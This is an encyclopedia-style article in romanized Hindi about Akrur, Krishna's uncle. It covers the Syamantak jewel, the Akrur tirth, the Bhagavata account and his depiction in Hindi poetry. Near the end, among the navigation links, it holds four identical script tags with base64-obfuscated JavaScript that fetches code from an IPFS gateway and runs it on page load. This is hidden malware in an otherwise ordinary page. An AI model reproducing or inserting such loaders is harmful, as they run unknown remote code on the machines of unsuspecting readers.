अक्रूर
[[chitr:Krishna and Balram.jpg|thumb|akrooraji krishna aur balaram ko mathura le jate hue|right]] akroor ek pramukh yaduvanshi aur krishna ke chacha the. ve vasudev ke bhaee batae jate haian. kans ki salah par shrikrishna aur balaram ko yahi vrindavan se mathura lae the. kans ka vadh karane ke pashchath krishna inake ghar ge the. ve akroor ko apana guru manate the. akroor ki mrityu ke uparaant krishna ke pautr vajr ke rokane par bhi inaki patniyaan nahian rukian aur van mean tapasya karane ke lie chali geean.
satrajit namak yadav ko soory se mili syamantak mani, jisaki chori ka kalank shrikrishna ko laga tha, inhian ke pas thi. ye darakar mani ko lekar kashi chale ge. syamantak mani ki yah visheshata thi ki jahaan vah hoti thi, vahaan dhan-dhany bhara rahata tha. akroor ke chale jane par dvaraka mean akal ke lakshan prakat hone lage. is par shrikrishna ka anurodh manakar akroor dvaraka vapas chale ae. inhoanne syamantak mani shrikrishna ko de di. shrikrishna ne mani ka sarvajanik roop se pradarshan karake apane oopar laga chori ka kalank mitaya.
tirtharajan hi chakrooran guhyanaan guhyabhuttamamh .
tatphalan samavapnoti sarvvatirthavagahanath ॥
akroore ch pun: snatva rahugrast divakare .
rajasooyashvamedhabhyaan phalamapnoti manav: ॥
akroor shvaphalak aur gaandini ke putr the. skand purananusar poorv janm mean yah chandr namak brahman the. haridvar nivasi devasharma namak atrikulotpann brahman ke yah shishy tatha jamata the jinaki gunavati namak byahi thi.
akroor ghat
mathura aur vrindavan ke bich mean brahmahrad namak ek sthan hai. shrikrishna ne yahian par akroor ko divy darshan karae the. braj kshetr ka yah bhi ek pramukh tirth mana jata hai aur vaishakh shukl navami ko yahaan mela lagata hai. vrindavan ate hue akroor ne marg mean yamuna mean krishna tatha balaram ke divy roop ke darshan kiye arthath bhagavan anant ki god mean krishna ko dekha.[1]
akroor tirth
akroor tirth, sarv tirthoan ke raja evan gopaniyata ke bich mean ati gopaniy hai. pun: sooryagrahan ke din akroor tirth mean snan karane se rajasooy ashvamedh yajn ka phal prapt hota hai. is sthan par shri akroor ji ne snan karate samay shrikrishna ke vibhooti darshan ka labh prapt kiya tha. kans ne shri mahadev ji ko tapasya se santusht kar ek dhanush prapt kiya tha. shri mahadev ne unako ashirvadapoorvak varadan diya tha ki is dhanush ke dvara tum bahut se rajyoan ka jay labh kar sakate ho. is dhanuhsh ko koee shighr saralata se to d nahian sakata. jo is dhanush ko to dega usake hathoan se hi tumhari mrityu hogi. dhanush yajn ka sanvad kans ne vibhinn desh-videsh mean pracharit kar diya. idhar shrikrishna-balaram ke anushthan mean yogadan ke liye kans ne shri akrooraji ko gokul mean preshit kiya tab akroor ji shrikrishna aur balaram ko rath mean baithakar kans ki rajadhani mathura ki taraph chal p de.
bhagavat ke anusar
krishna ne kans ke anek anuchar daityoan ko mar dala to narad ne jakar kans se kaha ki krishna devaki ka putr hai tatha balaram rohini ka. is prakar donoan hi vasudev ke putr haian. kans ne keshi namak rakshas ko use mar dalane ke lie bheja. kans ne mushtik, chanoor, shal, toshal adi malloan ko bulakar kaha-'braj nivasi ram aur krishna nam ke do balakoan mean se kisi ke hathoan meri mrityu likhi hai. at: tum log dangal mean ghere ke phatak par hi kuvalayapid hathi ko rakhana. usi ke dvara unhean marava dena. tadanantar akroor ko bulakar usane kaha-'ap vasudev ke donoan betoan balaram tatha krishna ko ghumane ke bahane se yahaan liva laie. meri mrityu unhian ke hathoan likhi hai. unhean ap jaise bhi ho, yahaan le aiega. un logoan ko meri or se dhanush-yajn utsav ke lie amantrit kijiega.' akroor ne braj mean jakar kans ka sandesh diya. sath hi balaram tatha krishna ke sammukh kans ka uddeshy bhi spasht kar diya. un donoan ne hansakar vahaan sabase ajna li aur akroor ke sath mathura ke lie prasthan kiya. marg mean donoan bhaiyoan ne akroor ko apane virat roop ke darshan karavaye. akroor kritakrity ho gaye. mathura pahuanchakar shrikrishna ne sabake dekhate-dekhate dhanush to d dala, kans ki sena ko mar dala aur apane dere par laut gaye. tadanantar shrikrishna ne akroor ko hastinapur bheja. akroor ne lautakar krishna ko bataya ki dhritarashtr paandavoan ke prati anyay karate hue apane betoan ko rokane mean asamarth the. dhritarashtr ko samajhana bhi asanbhav tha. kunti apane bhaee-bandhuoan mean sabase adhik krishna ko yad karati thi. usane apani paravashata ki katha akroor ko sunayi thi. [2] [3]
- narad krishna sanvad ne krishna ke sambandh mean kee batean hamean spasht sanket deti haian ki krishna ne bhi ek sahaj sangh mukhiya ke roop mean hi samasyaoan se joojhate hue samay vyatit kiya hoga .
- isake atirikt ahuk aur akroor donoan hi parakrami tatha kathin karm karane vale haian, isase ve log jis or raheange, usaki apeksha du:khadayak kuchh bhi nahian hai, aur jisaki or n raheange, use bhi usase adhik du:kh ka vishay kuchh bhi nahian ho sakata.[4]
kavyoan mean
- krishnakavy mean akroor kans ke doot, punyatma, brajavasi tatha mathura vasi krishna ki katha ke sanyojak aur krishna bhakt ke roop mean chitrit hue haian. akroor ke charitr aur usase sambandhit kathaoan ka mooladhar bhagavat[5] mean prapt hai. bhagavat ke akroor krishna ke shubhachintak, sanrakshak, abhibhavak aur antat: bhakt haian.
- lok prasiddhi ke anusar ve yadavavanshi tatha vasudev ke bhaee kahe jate haian. inaki mata ka nam gaandini tatha pita ka nam shvaphalk tha, atev inake lie 'suphalak sut' shabd ka bhi prayog hua hai. akroor ki patni ka nam ugrasena tha. kaha jata hai ki anadrit hone par ye krishna ki rajasabha mean rahane lage the. kans ke adesh par ye dhanush yajn ke bahane balaram aur krishna ko mathura lane ke lie gokul jate haian. moolat: krishna bhakt hone ke karan brajagaman par krishna ke roop tatha alaukik vyaktitav ke chiantan dvara akroor ki bhaktibhavana abhivyanjit hoti haian. kadachit akroor ke bhakti pravan vyaktitv ke hi karan krishna unaka atithy svikar karate haian.
- krishna ke mathura evan dvarika pravas mean akroor unake anugami bhakt hi rahate haian. dhanva se prapt syamantak mani ke sanrakshan ke karan akroor ka vishesh mahattv badh jata hai kyoanki is mani ke sanrakshak ko vipul dhanarashi ki prapti ki prasiddhi thi tatha isake dvara anavrishti adi ka niyantran bhi sanbhav tha. ek bar kisi karanavash akroor ke dvarika chho dakar anyatr chale jane ke karan dvarika mean anavrishti, durbhiksh, akal adi ka prabaly ho utha. krishna ke nirdesh par dvarikavasi akroor ko dvarika vapas laye jisase samast upadrav shant ho gaye. yadyapi ye mani ko chhipakar rakhate the, parantu krishna ke kahane par akroor ne unhean mani dikha di.
- sooradas ne bhagavat mean prapt katha ke paribardhit evan vistrit roop ke madhy se akroor ka charitr prastut kiya hai.[6] bhagavat ke anusar mathura jate samay marg mean akroor yamuna snan karate haian to inhean jal mean krishna ke darshan hote haian, kintu phir kar dekhane par krishna rath mean usi prakar baithe hue dikhaee dete haian. bhagavat mean krishna ke is prakar ke darshan ka koee karan nirdisht nahian hua, kintu soor ne akroor ki bhaktinishthata ki vyanjana karate hue antardvandv mean phanse bhakt ke sandeh nivaranarth aradhy krishna ka darshan karaya hai. isi prakar akroor ke shyamavarn evan roop ki vishisht kalpana soor ki maulik udbhavana hai jisake karan 'bhramaragit' ke prasang mean ve akaran hi gopiyoan ki upeksha ke bhagi banate haian.
- vaishnavadas, rasakhan, anandadas, jayaram, sabalasyam hitadas, krishnadas adi dvara kiye gaye bhagavat dasham skandh ke bhashanuvadoan mean akroor ka charitr bhagavat ke hi adhar par chitrit hua hai. sooradas ke saman kisi bhi kavi ne unake vyaktitv mean bhakti ka rang ubharane ka yatn nahian kiya.
- ritiyug mean akroor ka charitr krishna katha ki sankuchit paridhi evan simit drishtikonoan ke karan upekshit-sa raha. 'bhramaragit' evan gopiyoan ki virahanubhooti ke sandarbh mean prasang vash unake upeksha bhagi ke roop mean sphut kavittoan ke antargat akroor ka namollekh matr hua hai.
- adhunik krishna kavyoan mean keval dvarikaprasad mishr krit 'krishnaayan'[7] ke atirikt ayodhyasianh upadhyay ke 'priy pravas'[8] tatha maithilisharan gupt krit 'dvapar'[9] adi kavy-granthoan mean krishna katha ke sankochan evan drishtikonagat parivartan ke karan akroor ka charitr poornata ke sath varnit n ho saka. adhikatar ve brajavasi tatha dvarikavasi krishna ki katha ke sanyojak hi roop mean varnit hue haian. ve balaram aur krishna ko braj se mathura lane ke apane kroor karm ke lie pashchatap karate haian. isake atirikt adhunik yug ka buddhivad unake bhaktipravan vyaktitv ko prabhavit karata hua dikhaee p data hai. krishnaayan, priy pravas, dvapar mean any patroan ke saman ve bhi apane paramparagat roop ki apeksha prabuddh dikhaye gaye haian.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hari0 b0 pu0, vishnu parv, 25 26
- ↑ shrimadh bhagavat, 10 .39, 42, 49 .
- ↑ brahm puran, 191-192 .(adholikhit aansh se itar shrimadh bhagavat jaisa hi hai.
- ↑ syataan yasyahukakroorau kian nu du:khataran tat: .
yasy vapi n tau syataan kian nu du:khataran tat: ॥10॥mahabharat shaanti parv adhyay-82 - ↑ bhagavat(dashamaskandh 38.39.40.56.57
- ↑ soorasagar, dashamh skandh p0 3629-3651, 1645,4809
- ↑ krishnaayan, avataran, mathura dvarika kand
- ↑ priy pravas, sarg 2.3
- ↑ dvapar, pri0 122-131
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>